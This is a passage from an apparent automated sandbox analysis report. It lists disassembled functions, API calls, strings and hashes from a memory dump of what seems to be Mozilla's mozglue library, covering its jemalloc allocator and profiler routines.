memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E472

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c55cbe7ff7ff680c4769c3df0ef152855f17cb3b9a2d45a27b48e8b1282de5c3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 78339C72E0021A8FCB14CFA8C8C06ADBBF6FF49314F288269D955AB755D731E945CB90

Function 6C94FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C950D67, 6C950D7B, 6C950DAC
<jemalloc>, xrefs: 6C950D62, 6C950D76, 6C950DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction ID: b0ed0e24a88459511f54361f70ff1b20d27e35f533510d4b2788f68d65f085b1
Opcode Fuzzy Hash: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction Fuzzy Hash: A0C2E071A057418FD714CF28C48071ABBE5BF86328F68C66DE8AA8B7D5D771E811CB81

Function 6C99E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C99E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0ED4

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction ID: 83f33cdf636b9c575333a58d453c8553eb7c69c79382281d3ad1e6d51ed41d30
Opcode Fuzzy Hash: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction Fuzzy Hash: 93636F71E0025ACFCB14CFA8C8905EDFBB2FF89314F298269D855AB755D730A946CB90

Function 6C973E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C997770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C973E7D,?,?,?,6C973E7D,?,?), ref: 6C99777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C973F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C973F5C
VerSetConditionMask.NTDLL ref: 6C973F8D
VerSetConditionMask.NTDLL ref: 6C973F99
VerSetConditionMask.NTDLL ref: 6C973FA0
VerSetConditionMask.NTDLL ref: 6C973FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C973FB4

Strings

nvd3d9wrap.dll, xrefs: 6C974466
nvinit.dll, xrefs: 6C974479

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction ID: 89ccc75f41543da3e5db6ac3e4795555496859cd805f45b06b913819db2b9e2f
Opcode Fuzzy Hash: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction Fuzzy Hash: B0520472610B889FD715DF74C880AAB77FAAF65304F54492DD8968BB42CB34F909CB60

Function 6C95ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C95EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C95EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C961695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C961770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C961A3E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction ID: 7811663365535f96157f7ffc8ff0bc0eece8c14008e0c976d58da83abebd8693
Opcode Fuzzy Hash: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction Fuzzy Hash: 59B32B71E0021ACFDB14CFA9C890AADB7B2FF49314F5581A9D449ABB85D730AD85CF90

Function 6C94FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

MOZ_CRASH(), xrefs: 6C950CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4, 6C951A10

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction ID: b209604a58f3d67b801b332873f33ee7a692ba75c099e375348f5db645ac9573
Opcode Fuzzy Hash: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction Fuzzy Hash: 38B2BE716097418FD718CF29C5D0716BBE5BF86328F68C6ACE86A8BB95D770E850CB40

Function 6C985600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C98606D
name, xrefs: 6C985E79, 6C985E8F
ProfileBuffer parse error: %s, xrefs: 6C985AC8, 6C985CBB
expected a Count entry, xrefs: 6C985AC3
expected a Time entry, xrefs: 6C985CB6
data, xrefs: 6C986131

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction ID: 73cc973e9964e6f9b13aaefb69cc7dc6500c641355d7f6107e76976f65eefd08
Opcode Fuzzy Hash: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction Fuzzy Hash: D7925BB16093418FD724CF28C490B9AB7E1BFD9308F548D1DE99A9B751DB30E909CB92

Function 6C982E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C982ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C982EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C982F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C983214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C983242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9836BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C98378D
set , xrefs: 6C9836EC
get , xrefs: 6C983205

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction ID: 4d23939bb30cb0787be0eb77c2d2e78d26c78b55d40c1d9c01c740e7fcbf3f68
Opcode Fuzzy Hash: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction Fuzzy Hash: 4E325BB42093819FD724CF24C0906AEBBE6BFD9318F548C1DE99987751DB30E94ACB52

Function 6C977E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9781E3, 6C978311
name, xrefs: 6C977ECF, 6C978335
data, xrefs: 6C978280, 6C9783E1
(pre-xul), xrefs: 6C977E88

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction ID: ba1de9795a454a5cd90d0fc0205346c78ec0c3eaf6fa11316a77cb28174bcb05
Opcode Fuzzy Hash: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction Fuzzy Hash: EDE16EB1A043509BC714CF68C84065BFBEAFFA5714F148A2DE899E7790DB70DD098B91

Function 6C95D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D6A6
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D712
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C95D82C
<jemalloc>, xrefs: 6C95D827

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction ID: b174cc78249b7d12da0aa086f5dc3b84be5d3d232be5d6c441ff5284771a56bc
Opcode Fuzzy Hash: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction Fuzzy Hash: 2191F3B2A097019FD714CF28C29032BB7E5FB89714F64892EE55AC7B85D730E851CB82

Function 6C955E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2
memset.VCRUNTIME140(6C997765,000000E5,9BC09015), ref: 6C9561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C957652

Strings

MOZ_CRASH(), xrefs: 6C957BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9572F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9572E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C95730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C957BCD, 6C957C1F, 6C957C34, 6C9580FD

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction ID: e2e2577c7ce42b95c444cfd34671bd7b36988074fb96c186f37822b9fbd29dc1
Opcode Fuzzy Hash: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction Fuzzy Hash: 2A339B7161A7018FC308CF28C590615BBE2BF85328F69C7ADE9698F7A5D731E861CB41

Function 6C933480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C93350E
__Init_thread_footer.LIBCMT ref: 6C933522
__aulldiv.LIBCMT ref: 6C933552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C93357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933592

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

kernel32.dll, xrefs: 6C9334EA
GetSystemTimePreciseAsFileTime, xrefs: 6C933508

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction ID: 9e8dcabbccdf3baa936925697b69052faf1ce96afdcf033328a6e1e7a45f6444
Opcode Fuzzy Hash: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction Fuzzy Hash: 47318479B0411AFBDF04DFB5C848AAB7779FB45308F200019E909E36A0EB75D905CB65

Function 6C994EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C994EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994F2E
moz_xmalloc.MOZGLUE ref: 6C994F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C994F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952E6
Sleep.KERNEL32(00000010), ref: 6C995481
free.MOZGLUE(?), ref: 6C995498

Strings

(, xrefs: 6C995250

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction ID: 7d6b72f5883ed4095d8653ad4b54149af91ce81f0c260dbacfb4bc0d9be653a1
Opcode Fuzzy Hash: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction Fuzzy Hash: ACF1E275A18B008FC716CF39C85062BB7F9AFD6388F15872EF846A7651DB71D8428B81

Function 6C947810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C947885
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9478A5
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C9478AD
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C9478CD
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9478D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9478E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C94795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9479BB
LeaveCriticalSection.KERNEL32(?), ref: 6C947BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C947C82
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C947CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C947DAF

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction ID: ac1ab2a3932436dd928196dd4f376fa776d8314152fa794288ce82cfa27558c6
Opcode Fuzzy Hash: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction Fuzzy Hash: 3A023071A0521A8FDB54CF19C984799B7B9FF88318F2582AAD809A7751D730FE91CF80

Function 6C995FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C996009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C996024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C93EE51,?), ref: 6C996046
OutputDebugStringA.KERNEL32(?,6C93EE51,?), ref: 6C996061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C996069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9B148E), ref: 6C996091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C93EE51,00000000,?), ref: 6C9960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9960C4

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

